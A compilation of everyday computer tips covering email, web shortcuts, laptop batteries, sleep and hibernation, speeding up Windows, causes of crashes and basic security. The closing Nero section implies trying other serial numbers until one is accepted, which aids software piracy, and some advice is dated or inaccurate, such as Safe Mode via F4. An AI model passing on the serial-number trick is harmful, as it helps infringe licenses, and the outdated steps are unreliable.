* If a blue underlined link shows up in an e-mail message, you can mouse over it without clicking to see what Web site it plans to open.

* If you get a message from someone you know that relates a horror story about being mugged in England (and needing you to wire money immediately), delete it. It’s a popular scam — even if it’s the correct e-mail address of someone you know.

* File too big to send by e-mail? Then use yousendit.com or transferbigfiles.com. You can transmit huge files, using the site as a free intermediary parking space.

Editing Text
* On your keyboard, there’s a difference between the Backspace and Del keys. Press Backspace to delete the typed character to the left of the blinking insertion-point cursor, as usual. Pressing Del, however, removes the character to its right.

* In Microsoft Word, when you paste in text from another document—say, a Web site — you may not want all the boldface, colors, fonts and other formatting from the original source. Instead of using the regular Paste command, in that case, open the Edit menu and click Paste Special. Click Unformatted Text. You’ll get just the text, without the fanciness.

iPhone
* You can magnify the iPhone’s screen, for ease in reading tiny type, by double-tapping with three fingers. Then pan around by dragging with three fingers.

Of course, you first have to turn this feature on. Do that by tapping Settings, then General, then Accessibility. (On the same screen, you’ll find an option to make the text bigger in the built-in iPhone programs, which is handy in its own way.)

* Has your iPhone screen image suddenly become mysteriously enlarged? There’s nothing quite as alarming as seeing jumbo text and graphics, and nothing restores the phone to the way it’s supposed to be.

I can’t tell you how many people trek off to the Apple Store to get their “broken” iPhones fixed. Of course, the real problem is that you’ve accidentally turned on screen zooming (described in the previous tip). Double-tap with three fingers to restore the screen magnification.

Other Cellphones
* When your phone starts ringing, you can silence it quickly by pressing any key on the sides. (It’s still ringing — you can either answer it or let it go to voicemail — but at least you’ve cut the sound.) That’s good to remember when you’re someplace where phone silence is golden: for example, at a concert, in surgery or in church.

Web
*Don’t reach for the mouse to go back to the previous Web page. Just tap the Backspace key. (Alt+left-arrow key also works for Back, and Alt+right-arrow for Forward. In this article, if you have a Mac, substitute the Option key for Alt.)

* After you type a word or phrase into a Search box, don’t click the Search button. Just press the Enter key.

(The Enter key also works to click “Go” after you’ve typed an address, or the highlighted button, like “O.K.” or “Print,” in most dialog boxes. Yes, there are people who don’t realize that.)

* On brand-name Web sites (eBay, Facebook, Amazon and so on), click the upper-left logo to return to the site’s home page.

* At translate.google.com, you can choose languages you want to translate from and to. Then you paste in some copied text (or the address of a Web site). In a flash, the text is translated — roughly, to be sure, but at no charge.

* Who needs a dictionary? In the Google search box, type “define schadenfreude” (or whatever the word is). Press Enter.

Computers
* The Esc key (top left of the keyboard) means, “close this” or “cancel this.” It can close a menu or a dialog box, for example.

* You can duplicate a file icon (instead of moving it) if you press the Alt key as you drag it out of its window.

* You can switch among open programs by pressing Alt+Tab (or Command-Tab on the Mac). On the Mac, the much less known Command-tilde (the ~ key, upper left corner) switches among windows in a single program.

Mac Specials
* Anything you can print, you can turn into a PDF document — an amazingly convenient feature. Choose the Print command — but instead of choosing Print, click the PDF pop-up menu and choose Save as PDF.

* It’s often very useful to have a document, Web page or e-mail message read aloud to you — to “proof-listen” to it, for example, or just to listen to an article while you’re getting dressed in the morning. In the Speech pane of System Preferences, turn on “Speak selected text.” Click Set Key to choose a key combination. Pressing it makes the Mac read anything on the screen, at the rate, and in the character voice, that you’ve specified.

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How to conserve your laptop battery

Suggestions

Don’t Run It Down to Empty
Most laptops probably won’t allow you to set the critical battery level at 0 percent–and you shouldn’t try. Squeezing every drop of juice out of a lithium ion battery (the type used in today’s laptops) strains and weakens it. Doing this once or twice won’t kill the battery, but the cumulative effect of frequently emptying your battery will shorten its lifespan.

Keep It Cool
Heat breaks down the battery, and reduces its overall life. When you use your laptop, make sure the vents are unblocked. Never work with the laptop on pillows or cushions. If possible, put it on a raised stand that allows for plenty of airflow. Also, clean the vents every so often with a can of compressed air. You can buy this for a few dollars at any computer store. Be sure to follow the directions on the can, and do this only when the notebook is off.
Some people recommend you store it in the refrigerator, inside a plastic bag. While you should keep a battery cool, the last thing you want is a wet battery, and condensation is a real danger in the fridge. Instead, store it in a dry place at room temperature. A filing cabinet works fine.

Use It Every Once In A While
You don’t want the battery to go too long without exercise or let it empty out entirely. If you go without the battery for more than two months, put it in the PC and use it for a few hours, then remove it again.

Give It a Rest
If you’re going to be working exclusively on AC power for a week or more, remove the battery first. Otherwise, you’ll be wearing out the battery–constantly charging and discharging it–at a time when you don’t need to use it at all. You’re also heating it up (see “Keep It Cool,” above).
You don’t want it too empty when you take it out. An unused battery loses power over time, and you don’t want all the power to drain away, so remove it when it’s at least half-charged.
If you’ve never removed your laptop’s battery and don’t know how, check your documentation. (If you don’t have it, you can probably find it online.) The instructions generally involve turning the laptop upside-down and holding down a button while you slide out the battery.

Longer Life Between Charges

Dim your screen
Your laptop’s backlight requires a lot of juice. Keep it as dim as you can comfortably read it.

Shut off unneeded hardware
Turn off your Bluetooth, and if you’re not using the Internet, turn off your Wi-Fi receiver, as well. Don’t use an external mouse or other device. And muting the PC’s sound system not only saves power, it avoids annoying everyone else in the café.

Avoid multitasking
Run as few programs as you can get away with. If possible, stick to the one application (word processor, browser, or whatever) you’re currently using, plus your antivirus and firewall in the background. And if you’re not on the Internet, you don’t need those two.

Avoid multimedia
Save chores like photo editing and watching old Daily Show videos for when you have AC power. And if you must listen to music, use your iPod or mp3 player (or similar device).

Know when to sleep and when to hibernate

You need to think about when you want to save power by sending your laptop into Standby or Sleep mode, and when you want to hibernate it.
There’s a difference. XP’s Standby and Vista and Windows 7′s Sleep modes keep your PC on, using some power, but less of it than in normal use. Hibernate saves the PC’s state to the hard drive, then shuts it off entirely, so that no power is used.
On the other hand, Windows takes much longer–sometimes minutes–to go into and come out of hibernation. And those are minutes that the battery is draining heavily and you can’t work.
XP’s Standby mode isn’t really all that efficient. If your laptop will be inactive for more than about half an hour, hibernate it. Otherwise, use Standby.
But Vista and Windows 7 do a much better job with their Sleep mode. Don’t bother hibernating your PC unless you think you’re going to go more than two or three hours without using it.
Myth: Adding RAM saves battery life. True, more RAM means less hard drive access, and the hard drive uses a lot of electricity. But RAM uses electricity as well, and unless you’re doing a lot of multitasking (not a good idea when you’re on battery power), more RAM won’t reduce hard drive use.
Warning: If you put your laptop in sleep mode, make sure the battery is [near] fully charged. As your applications opened are saved in memory, it is using battery power. If you run out of power, everything you were running at the time is gone – but not your data except what you hadn’t saved. Likewise, if your laptop is in sleep mode and there is a power failure, the laptop will switch to the battery. But if the battery is too weak, everything you were running at the time is gone – but not your data except what you hadn’t saved.

[Note: These tips – it is still your decision to do it – were accumulated from various sources. If you battery is already “on the way out” it will just prolong it a bit. Don’t expect the battery life in a charge to improve.]

Difference between sleep and hibernation

What is the difference between sleep and hibernation in Windows?

Sleep:

When you set your computer to sleep [or done automatically with power settings], what happens is that as the computer shuts down, the contents currently in use or running will be saved to the computer’s memory and the computer is shut down. To turn the computer on, press the computer’s power button.

Advantage: Shuts down and starts up the computer quite fast.

Disadvantage: For a laptop, it relies on your battery or power from an outlet only. If the battery dies and the power adapter not plugged in or if the battery dies and there is a power failure, whatever was running is lost. Documents will be saved if saved prior to going into sleep mode.

For a desktop, it relies on the computer’s power from an outlet only. If there is a power failure, whatever was running is lost. Documents will be saved if saved prior to going into sleep mode.

Hibernation:

With hibernation, when your computer is shut down, the contents currently in use or running will be saved to the computer’s hard disk or solid state drive and the computer is shut down. To turn the computer on, press the computer’s power button.

Advantage: Whatever you had open or was running as the computer shuts down is saved to your hard disk or solid state drive. Even if the laptop’s battery dies or there is a power failure, you will not lose anything that has been saved.

Disadvantage: Shuts down and start up is slower. Although if your computer has a solid state drive, then the shut down and start up isn’t as bad but still slower than sleep.

Notes:

If your computer is connected to a battery backup [a.k.a. uninterruptable power supply (UPS)], the UPS will keep the computer “alive” for a little while if there is a power failure. If the UPS software from the manufacturer is installed, the UPS will shut down the computer – a full shut down – not sleep or hibernate.

Power options or settings can be set in the Control Panel. From here you can dictate when to shut certain hardware off to conserve power [or battery life] as well as when the computer shuts down.

Review your computer’s manual as there may be other ways to wake your computer from sleep or hibernation.

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How to Improve Your PC’s Speed for Free in Seven Easy Steps

Does your computer start up slowly? Do applications run slowly and hang all the time? Do you want to get rid of these problems for free? These steps here will probably help you resolve your problems.1. When you turn on your computer, ensure that there are no media (discs) in the ROM drive or any attached USB devices. Having any of these causes the computer to start slowly as it tries to read them for possible boot options.2. Disable startup programs such as Windows Sidebar and any programs which are installed that run at startup. These programs cause your computer to boot slowly as it has to load them before you can begin to use your computer. To do this, run Windows Defender. Click on Tools and select Software Explorer. Click on the category button to display Startup Programs. Click once on the displayed programs to see which are available for disabling and disable them. You can also disable programs that run at startup by running them, and ensuring that the “Run At Startup” option is not checked or allowed.

3. Click on the battery icon on the taskbar in the lower right-hand corner of your screen. This displays the power options menu. If “High Performance” is not selected as the power plan, select it. This power plan maximizes system performance.

4. End application processes which are not in use at a particular time. These processes compete with the programs you are running for available computer memory and speed. Such processes include Bluetooth, dictionaries, search bars etc (you can always restart them when you need them by running the applications again). To end processes, open the Task Manager. There are several ways to do this:

a. Press Ctrl + Shift + Esc. This is the quickest way.

b. Right-click on the taskbar and choose Task Manager from the menu.

c. Press Ctrl + Alt + Delete and choose Start Task Manager from the options that appear.
In the Task Manager, click on the Processes tab to display currently running processes and right-click on the process you want to end. Select End Process or End Process Tree to end that particular process. If you are not sure what process it is, read the descriptions that accompany each process.

5. Disable the Windows Aero color scheme (this is the functionality that gives your computer interface a transparent, glassy look). Windows Aero consumes computer memory and it is advisable to switch to another color scheme which uses less computer memory if your computer is running slow. To do this, right- click on an empty position on your desktop window and select Personalization from the menu that appears. You can also open Personalization by clicking on the Start button and selecting Control Panel and then clicking on Personalization. Under Personalization, select Windows Color and Appearance and choose another option such as Windows Vista Basic or Windows Classic.

6. Defragment your hard disk regularly. As data is added, changed and deleted from your hard disk, it creates non-contiguous portions of data (spaces usually occur where data has been deleted and changes made to data are saved in locations different from the original files). This is known as fragmentation and causes your computer to work harder to find a particular piece of data. This tends to slow a computer down. Defragmenting your hard disk rearranges the data so that it works more efficiently. Defragmentation usually runs on a schedule but you can run the disk defragmenter manually. To do this, click on the Start button and select Computer. Right-click on your primary hard disk (or any other hard disk partitions you would like to defragment) and choose Properties. Click on the Tools tab and select Defragment Now. When the application opens, click on Defragment now.

7. Run Disk Clean Up. This option deletes unnecessary files from your hard disk and frees up space which enables your computer to run faster. To do this, click on the Start button and select Computer. Right-click on your primary hard disk (or any other hard disk partitions you would like to clean) and choose Properties. Click on the General tab and select Disk Cleanup. Select the files you would like to delete, click OK and then click Delete Files to confirm.

Follow these steps and there will be a noticeable improvement in your computer’s speed and performance.

Easy Steps to Improve Your PC’s Boot Up

Does it take your computer an eternity to boot up? One of the most common reasons for a slow booting computer is simply too many programs in the startup folder. When a new program is installed on your computer, in some cases it is automatically added to your computers startup folder. After a while there are so many programs trying to run all at once when your computer boots, that it can seem to take it an eternity to finally load. It is very simple to remove unwanted programs from your systems startup folder. There are two steps to remove those unwanted programs that slow your boot up down so much.The first step is to go to your start menu and find the startup folder. The startup folder is usually located under programs in your start menu. Next simply highlight the files you wish to remove and right click on it. Finally, you will select delete from startup or remove from startup. This step is mainly for older operating systems like Windows 95 and Windows 98. This step can be used with newer operating systems as well, but in most cases the startup folder will be empty. Refer to the second step if the folder is already empty.

The second step is a little more complicated but still very easy to perform. Not all of the programs that load when your computer will be located in your startup folder on the start menu. Actually in most new operating systems the startup folder is usually empty. To remove these files, you will need to run your system configuration utility. To do this simply click start, run, and type msconfig, and press enter. You will then see the system configuration utility appear. Here you simply click the startup tab and check or uncheck what programs you wish to run or not at startup. Be careful not to change the settings anywhere but the startup tab as this can cause problems with your computers performance. Only change the settings under the startup tab unless you are an experienced user.

Un checking the programs in the configuration utility or removing programs from the startup folder will not delete these programs from your computer, it will simply not load them when your computer first boots up. These programs can still be opened up and accessed anytime you need them by simply double-clicking them as you normally would.

The above tips will help your computer to boot a lot faster and more efficiently so that you do not have to wait forever to surf the web or work on that spreadsheet you need to update. Cleaning your startup is a simple and effective way to increase your boot time by a lot. So follow the above tips and you’re on your way to a faster boot the next time you press that power button!

10 Reasons Why PCs Crash you must Know

Fatal error: the system has become unstable or is busy,” it says. “Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications.”

You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1. Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow ‘!’ appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as ‘IRQ holder for PCI steering’. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is http://www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2. Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3. BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer’s display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to ‘yes’ to allow Windows to do this.).

4. Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5. Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card’s manufacturer on the internet and search for the most recent drivers for it.

6. Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( http://www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( http://www.symantec.com).

7. Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer’s performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer’s default settings and you may be able to carry on.

8. Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don’t do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from http://www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message “Starting Windows” press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn’t work.

Remember to restore all the BIOS settings back to their former settings following installation.

9. Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from http://www.computernerd.com or http://www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10. Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

Top Five Tips To Keep Your Computer Secure

If your house was like your computer, it wouldn’t come with locks and you could be burgled from thousands of miles away. Obviously, you’d secure your castle before moving in – so why don’t we do the same for computers? Here are our top five computer security tips that’ll help keep the invaders out.

Passwords

Most people know the password to Ali Baba’s cave was, “Open Sesame”, but such predictability is also true with computer users. “123456″ is the most used password, while “12345″, “123456789″, “Password”, “iloveyou”, “princess” and “rockyou” are all in the top-ten. Pick something unique!

It’s also good practice to use different passwords for different websites. This is because if your password is stolen from one website, the hacker might try to use it to access your accounts elsewhere.

Updates

Everyone hates updates – they’re intrusive, irritating and almost constant. Aside from annoying us, however, they’re vital to fix potential security holes.

Your web browser, Windows, OSX, Java and Flash are the most-targeted culprits, so make sure you always accept these updates as soon as they are available. I know, it’s annoying, so here’s a message to developers: stop making us restart our computer to apply an update – we’ll be more likely to do it!

Also, make sure your antivirus software is up-to-date. That includes if your free trial has run-out. No virus protection at all? Shame on you! Norman provides a comprehensive security package (Norman Security Suite PRO), but even if you’re with someone else, remember to update!

WEP Wifi

If you’ve bought a new router in the last three years, feel free to ignore this section. Otherwise, you should check the security settings on your wifi.  Hopefully, you’ll be on WPA or WPA2 – these are up-to-date security formats and you’ll be okay (although WPA2 is much better than WPA).

If it says WEP, however, it’s time to upgrade. WEP is an ancient technology that can be hacked in around 30 seconds. Oh dear. You might be able to change to WPA on the router, but most likely we’re talking about a trip to the shops.

Internet Cafes and Public Wifi

Some people need caffeine to help them through the day, others need the internet. Luckily, internet cafes provide both. Unluckily, each time you log-in to one with your own computer, you’re putting it on a strange network that’s accessible by people you don’t know.

Your non-HTTPS data is particularly at risk from snooping, which means people could read your Facebook communications. For Facebook, you can add HTTPS in your account settings, but other traffic may be less secure. Remember: don’t bank in public.

Backups

Should the worst happen, backups are the only way of getting your computer back to exactly how it was. You can do this useful by transferring files onto an external harddrive, or use an off-the-shelf solution like Norman’s (Norman Online Backup) to do all the fiddly-bits for you.

The (somewhat dramatic, I admit) question I ask is – if your house burnt down, and you could restore it with a couple of mouseclicks – would you do it?

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Nero – How To Verify The Validity Of The Serial no.

NERO: how to verify the validity of the serial number you use through the nerocmd.exe command

Nero will accept a serial number even if it is invalid, and will (randomly) occasionally burn you some bad CDs (while telling you that the burn was sucessful…)

Therefore it makes sense to test the serial number right after installation (b4 burning anything). Under Dos prompt, go to Nero’s directory, type the following very carefully:

nerocmd –listdrives

That is: nerocmd, then a space, then 2 dashes, then listdrives.

If you see a message with “OK” in the end of it, then the serial you used is fine. Otherwise, locate another set of number and try again.

It really works… 😉

Here are some helpful hints in using DOS:

1. Go to your AHEAD/NERO folder (wherever it is in your PC…) and Open i

2. From: START>RUN Type: COMMAND -> click OK

3. Type: nerocmd –listdrives [Enter key]

4. Done!